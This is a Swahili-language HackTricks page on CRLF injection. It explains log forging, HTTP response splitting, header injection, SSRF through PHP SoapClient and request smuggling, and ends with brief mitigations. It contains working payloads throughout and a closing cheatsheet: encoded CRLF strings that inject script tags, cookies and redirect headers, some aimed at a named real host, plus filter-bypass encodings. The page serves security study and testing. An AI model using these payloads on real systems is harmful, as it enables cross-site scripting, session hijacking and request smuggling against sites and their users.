16 KiB
Uingizaji wa CRLF (%0D%0A)
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Ikiwa una nia ya kazi ya kudukua na kudukua yasiyodukuliwa - tunatafuta wafanyakazi! (inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha).
{% embed url="https://www.stmcyber.com/careers" %}
CRLF
Carriage Return (CR) na Line Feed (LF), inayojulikana kwa pamoja kama CRLF, ni mfuatano maalum wa herufi zinazotumiwa katika itifaki ya HTTP kuashiria mwisho wa mstari au mwanzo wa mwingine. Seva za wavuti na vivinjari hutumia CRLF kutofautisha kati ya vichwa vya HTTP na mwili wa jibu. Herufi hizi hutumiwa kwa pamoja katika mawasiliano ya HTTP/1.1 kwenye aina mbalimbali za seva za wavuti, kama vile Apache na Microsoft IIS.
Tishio la Kudukua CRLF
Kudukua CRLF kunahusisha uingizaji wa herufi za CR na LF kwenye kuingia kutoka kwa mtumiaji. Hatua hii inawadanganya seva, programu, au mtumiaji kuichukulia mfuatano ulioingizwa kama mwisho wa jibu moja na mwanzo wa jingine. Ingawa herufi hizi hazina madhara kwa asili, matumizi yasiyofaa yanaweza kusababisha mgawanyiko wa majibu ya HTTP na shughuli zingine za uovu.
Mfano: Uingizaji wa CRLF kwenye Faili ya Kumbukumbu
Fikiria faili ya kumbukumbu katika kiolesura cha admin ambayo inafuata muundo: IP - Wakati - Njia Iliyotembelewa
. Kuingia kawaida inaweza kuonekana kama:
123.123.123.123 - 08:15 - /index.php?page=home
Mshambuliaji anaweza kutumia CRLF injection kudhibiti hii kumbukumbu. Kwa kuingiza herufi za CRLF katika ombi la HTTP, mshambuliaji anaweza kubadilisha mtiririko wa matokeo na kuunda vipengele vya kumbukumbu bandia. Kwa mfano, mfululizo ulioingizwa unaweza kubadilisha kipengele cha kumbukumbu kuwa:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Hapa, %0d
na %0a
wanawakilisha fomu zilizofanywa URL-encoded za CR na LF. Baada ya shambulio, kumbukumbu itaonyesha kwa njia ya kupotosha:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Mshambuliaji huficha shughuli zao za uovu kwa kuifanya ionekane kama vile localhost (kitu kinachotegemewa kawaida ndani ya mazingira ya seva) imefanya vitendo hivyo. Seva inachukulia sehemu ya ombi inayoanza na %0d%0a
kama parameter moja, wakati parameter ya restrictedaction
inachambuliwa kama kuingiza nyingine. Ombi lililobadilishwa linajifanya kuwa amri halali ya utawala: /index.php?page=home&restrictedaction=edit
Kugawanyika kwa Majibu ya HTTP
Maelezo
Kugawanyika kwa Majibu ya HTTP ni udhaifu wa usalama unaotokea wakati mshambuliaji anatumia muundo wa majibu ya HTTP. Muundo huu unatenganisha vichwa kutoka kwa mwili kwa kutumia mfululizo maalum wa herufi, Carriage Return (CR) ikifuatiwa na Line Feed (LF), inayojulikana kwa pamoja kama CRLF. Ikiwa mshambuliaji anafanikiwa kuweka mfululizo wa CRLF kwenye kichwa cha majibu, wanaweza kwa ufanisi kubadilisha maudhui ya majibu yanayofuata. Aina hii ya ubadilishaji inaweza kusababisha masuala makubwa ya usalama, haswa Cross-site Scripting (XSS).
XSS kupitia Kugawanyika kwa Majibu ya HTTP
- Programu inaweka kichwa cha desturi kama hiki:
X-Custom-Header: UserInput
- Programu inapata thamani ya
UserInput
kutoka kwa parameter ya ombi, sema "user_input". Katika hali ambazo hakuna ukaguzi sahihi wa kuingiza na uendeshaji, mshambuliaji anaweza kuunda mzigo ambao unajumuisha mfululizo wa CRLF, ukifuatiwa na maudhui mabaya. - Mshambuliaji anaunda URL na 'user_input' iliyoandaliwa kwa njia maalum:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- Katika URL hii,
%0d%0a%0d%0a
ni fomu iliyosimbwa ya CRLFCRLF. Inadanganya seva kuweka mfululizo wa CRLF, ikifanya seva itambue sehemu inayofuata kama mwili wa majibu.
- Seva inarudisha kuingiza kwa mshambuliaji kwenye kichwa cha majibu, ikisababisha muundo usiotarajiwa wa majibu ambapo hati mbaya inachambuliwa na kivinjari kama sehemu ya mwili wa majibu.
Mfano wa Kugawanyika kwa Majibu ya HTTP inayoongoza kwa Uelekezaji
Kivinjari kwa:
/%0d%0aLocation:%20http://myweb.com
Na seva inajibu na kichwa:
Location: http://myweb.com
Mfano mwingine: (kutoka https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Katika Njia ya URL
Unaweza kutuma mzigo ndani ya njia ya URL ili kudhibiti jibu kutoka kwa seva (mfano kutoka hapa):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Angalia mifano zaidi katika:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
Uingizaji wa Kichwa cha HTTP
Uingizaji wa Kichwa cha HTTP, mara nyingi hufanywa kupitia uingizaji wa CRLF (Carriage Return and Line Feed), inaruhusu wadukuzi kuweka vichwa vya HTTP. Hii inaweza kudhoofisha taratibu za usalama kama vile XSS (Cross-Site Scripting) filters au SOP (Same-Origin Policy), na kusababisha ufikiaji usiohalali wa data nyeti, kama vile CSRF tokens, au udanganyifu wa vikao vya mtumiaji kupitia kupanda kuki.
Kudukua CORS kupitia Uingizaji wa Kichwa cha HTTP
Mshambuliaji anaweza kuingiza vichwa vya HTTP ili kuwezesha CORS (Cross-Origin Resource Sharing), kukiuka vizuizi vilivyowekwa na SOP. Ukiukaji huu unaruhusu skripti kutoka asili mbaya kuingiliana na rasilimali kutoka asili tofauti, na hivyo kufikia data iliyolindwa.
SSRF na Uingizaji wa Ombi la HTTP kupitia CRLF
Uingizaji wa CRLF unaweza kutumika kuunda na kuingiza ombi jipya kabisa la HTTP. Mfano maarufu wa hii ni udhaifu katika darasa la SoapClient
la PHP, haswa ndani ya parameter ya user_agent
. Kwa kubadilisha parameter hii, mshambuliaji anaweza kuingiza vichwa na maudhui ya mwili ya ziada, au hata kuingiza ombi jipya kabisa la HTTP. Hapa chini ni mfano wa PHP unaodhihirisha udanganyifu huu:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
Uingizaji wa Kichwa kwa Kusafirisha Ombi
Kwa habari zaidi kuhusu mbinu hii na matatizo yanayoweza kutokea angalia chanzo asili.
Unaweza kuingiza vichwa muhimu ili kuhakikisha seva ya nyuma inaendelea kuweka uhusiano wazi baada ya kujibu ombi la awali:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Baadaye, ombi la pili linaweza kutajwa. Kwa kawaida, hali hii inahusisha kuiba ombi la HTTP, mbinu ambapo vichwa vya ziada au vipengele vya mwili vilivyowekwa na seva baada ya kuingizwa vinaweza kusababisha shambulio mbalimbali la usalama.
Udanganyifu:
- Uingizaji wa Awali wa Kudhuru: Njia hii inahusisha kuchafua ombi la mtumiaji au hifadhi ya wavuti kwa kutaja awali ya kudhuru. Mfano wa hii ni:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Kuunda Awali kwa Kuchafua Safu ya Majibu: Njia hii inahusisha kuunda awali ambayo, wakati inachanganywa na takataka ya mwisho, inaunda ombi la pili kamili. Hii inaweza kusababisha kuchafua safu ya majibu. Mfano ni:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Uingizaji wa Memcache
Memcache ni hifadhi ya funguo-na-thamani ambayo hutumia itifaki ya maandishi wazi. Maelezo zaidi katika:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Kwa habari kamili soma maandishi ya asili
Ikiwa jukwaa linachukua data kutoka kwa ombi la HTTP na kuitumia bila kuisafisha kufanya ombi kwa seva ya memcache, mshambuliaji anaweza kutumia tabia hii ku ingiza amri mpya za memcache.
Kwa mfano, katika kasoro ya awali iliyogunduliwa, funguo za hifadhi zilitumiwa kurudisha anwani ya IP na bandari ambayo mtumiaji anapaswa kuunganisha, na wadukuzi walikuwa na uwezo wa kuingiza amri za memcache ambazo zingepoison hifadhi kutuma maelezo ya wahasiriwa (pamoja na majina ya watumiaji na nywila) kwa seva ya mshambuliaji:
Zaidi ya hayo, watafiti pia waligundua kuwa wangeweza kuvuruga majibu ya memcache ili kutuma anwani za IP na bandari za wadukuzi kwa watumiaji ambao barua pepe zao wadukuzi hawakujua:
Jinsi ya Kuzuia Uingizaji wa CRLF / Vichwa vya HTTP katika Maombi ya Wavuti
Ili kupunguza hatari za Uingizaji wa CRLF (Carriage Return and Line Feed) au Vichwa vya HTTP katika maombi ya wavuti, mikakati ifuatayo inapendekezwa:
-
Epuka Ingizo la Moja kwa Moja la Mtumiaji katika Vichwa vya Majibu: Njia salama zaidi ni kuepuka kuunganisha moja kwa moja kuingizo la mtumiaji katika vichwa vya majibu.
-
Kodisha Tabia Maalum: Ikiwa kuepuka kuingiza moja kwa moja la mtumiaji sio rahisi, hakikisha kutumia kazi maalum ya kubadilisha tabia maalum kama CR (Carriage Return) na LF (Line Feed). Mbinu hii inazuia uwezekano wa uingizaji wa CRLF.
-
Sasisha Lugha ya Programu: Sasisha mara kwa mara lugha ya programu inayotumiwa katika maombi yako ya wavuti hadi toleo jipya zaidi. Chagua toleo ambalo kwa asili linazuia uingizaji wa herufi za CR na LF ndani ya kazi zinazohusika na kuweka vichwa vya HTTP.
CHEATSHEET
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Zana za Kiotomatiki
Orodha ya Uchunguzi wa Nguvu
Marejeo
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
Ikiwa una nia ya kazi ya kuhack na kuhack mambo yasiyohack - tunatoa ajira! (inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha).
{% embed url="https://www.stmcyber.com/careers" %}
Jifunze kuhusu kuhack AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud github repos.